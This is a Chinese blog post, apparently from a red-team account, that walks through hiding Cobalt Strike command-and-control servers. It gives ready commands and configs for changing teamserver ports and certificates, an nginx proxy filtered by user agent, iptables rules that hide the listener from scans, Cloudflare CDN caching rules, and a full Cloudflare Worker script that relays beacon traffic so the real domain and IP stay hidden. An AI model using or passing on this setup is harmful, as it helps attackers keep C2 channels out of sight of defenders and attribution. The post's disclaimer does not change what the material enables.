Cobalt Strike常见特征隐藏

  • A+
所属分类:安全文章

前言

首先红蓝对抗的时候,如果未修改CS特征、容易被蓝队溯源。
前段时间360公布了cobalt strike stage uri的特征,并且紧接着nmap扫描插件也发布了。虽说这个特征很早就被发现了,但最近正好我的ip被卡巴斯基拉黑了/(ㄒoㄒ)/~~,所以来折腾一下。

Cobalt Strike常见特征隐藏
关于隐藏cobalt strike的特征,网上有很多方法。例如nginx反代、域前置、修改源码等方法。本此主要从nginx反代、cloudflare cdn、cloudflare worker 这三个方面说一下如何隐藏cobalt strike stage uri的特征,以及进一步隐藏c2域名和IP的方法。并记录一下部署过程中遇到的坑点。
想了解域前置技术的小伙伴可以先百度了解一下。cloudflare无法使用域前置,因为它会校验SNI。目前不知到阿里云还行不行。本着匿名,加上cloudlfare免费、对国外访问支持比较好的特点,所以选择了cloudflare。下面介绍一下常见的去特征方式。

去特征的几种常见方法

1、更改默认端口
方法一、直接编辑teamserver进行启动项修改。
vi teamserver
方法二、启动时候指定server_port
java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile

2、去除证书特征
Cobalt Strike默认的证书已经是分分钟被逮,所以需要生成一个新的证书
这里可以用keytool这个工具。操作简单。Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。

Cobalt Strike常见特征隐藏

Cobalt Strike常见特征隐藏

使用命令

keytool -keystore CobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"

没改之前

改了之后

这些只是要了解的基础,接下来我们就在这上面的基础上,再添加几步。

部署Nginx反向代理以及https上线

如果在cobalt strike的c2 malleable配置文件中没有自定义http-stager的uri。默认情况下,通过访问默认的uri,就能获取到cs的shellcode。加密shellcode的密钥又是固定的(3.x 0x69,4.x 0x2e),所以能从shellcode中解出c2域名等配置信息。如图是nmap扫描插件的扫描结果。

修改这个特征的方法有很多,可以修改源码加密的密钥,参考:Bypass cobaltstrike beacon config scan
但是光这样也很容易被扫描检测到,所以我们最好还得配置防火墙,限制访问Cs监听的端口
接下来介绍的是我用的一种方法:设置iptables,只允许localhost访问cs listener监听的端口。将外部请求通过nginx转发到localhost上的listener。还可以在nginx上设置过滤规则来允许特定请求。

配置/etc/nginx/nginx.conf文件

首先配置conf文件,Nginx一键安装,在配置文件中设置只允许特定的请求头访问CS的监听端口。这里要根据你的cs配置文件来进行利用,我用的是jquery-c2.4.0.profile
配置如下:只有用我们所指定的请求头的请求才能被反向代理到stage uri

location ~*/jquery {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri;
}
proxy_pass https://127.0.0.1:5553;

申请https证书

这里可以直接在cloudflare上申请,非常方便,选择默认的pem格式

分别复制内容保存为key.pem和chain.pem上传到cs的服务器上,再在nginx配置文件中启用证书。

server_name img.xxxx.tk
root /usr/share/nginx/html;
ssl_certificate "/usr/local/cs/all/uploads/sss.pem";
ssl_certificate_key "/usr/local/cs/all/uploads/ssk.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # managed by Certbot
ssl_prefer_server_ciphers on; # managed by Certbot

为cobalt strike 配置证书

  • 1.生成img.xxxx.tk.store文件
    openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456
    keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com -srckeystore api.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias api.xxx.com

  • 2.将生成的api.xxx.com.store放到cs目录下,修改teamserver文件最后一行,将cobaltstrike.store修改为api.xxx.com.store和store文件对应的密码。
    (有必要的话,把端口号也可以改了并设置iptables只允许特定ip访问)
    java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=40120 -Djavax.net.ssl.keyStore=./api.xxx.com.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

  • 3.将 keystore 加入 Malleable C2 profile 中

https-certificate {
set keystore “api.xxx.com.store”;
set password “123456”;
}


然后启动cs设置listener。

这里https port(bind):设置的43211(cs会把端口开在43211),在nginx配置文件中的将proxy_pass设置为:https://127.0.0.1:43211。
开启listener之后设置iptables,只允许127.0.0.1访问。这下nmap也就扫不出来了。

iptables -A INPUT -s 127.0.0.1 -p tcp --dport 43211 -j ACCEPT
iptables -A INPUT -p tcp --dport 43211 -j DROP


到此为止,隐藏cobalt strike特征的设置就暂时告一段落,下面继续说如何隐藏cs服务器ip和域名。

配置cloudflare cdn

1.先添加域名

2.添加A记录,指向VPS的IP地址
选择免费版本,设置要加速的子域名,并在你的域名服务商处修改域名解析dns为cloudflare的dns。

3.稍等一会,经过cloudflare验证成功后,本地nslookup域名,看一下生效没有。

 关闭缓存

为了实时受到我们的命令的响应:我们需要修改缓存规则:

cloudflare能开启开发模式,来禁用缓存,但是只有3个小时。我们可以通过页面规则来永久设置缓存规则。

因为cs配置文件中设置的uri都是js结尾的,所以这里使用*js来匹配所有uri。

坑点

这里设置cs配置文件时候需要,需要将头设置为header "Content-Type" "application/*; charset=utf-8";不然可能会出现能上线但是无法回显命令的情况
这里的mime-type如果为application/javascript、text/html等,机器执行命令就无法回显。我怀疑是cdn会检测响应头content-type的值,如果是一些静态文件的mime-type可能就导致这个问题。
至此,cdn就配置完了。并且能通过cdn正常上线。

配置cloudflare worker

配置这个就类似域前置的作用,但是能找到还能够进行域前置技术的CDN还是用域前置比较好,cloudfalre worker可以说只是一个替代品。
cloudflare worker能够执行无服务器函数,免费用户有10万请求/每天的额度。并且你能自定义workers.dev的子域。我们可以编写js处理以及转发请求。
Cobalt Strike常见特征隐藏
js脚本如下,需要设置X-Forwarded-For头,不然上线的ip是worker的ipv6地址。

let upstream = 'https://img.xxx.tk'

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;

let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}


Cobalt Strike常见特征隐藏
点击保存部署,访问xxx.ttttt-api.workers.dev域名,看看是否正常。然后在listener中设置
Cobalt Strike常见特征隐藏
到此设置完毕。
之后通信的请求都是通过xxx.xxx.workers.dev进行的,隐藏了真实域名。并且shellcode通信的ip地址也是cloudflare的ip。

最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的



本文始发于微信公众号(无害实验室sec):Cobalt Strike常见特征隐藏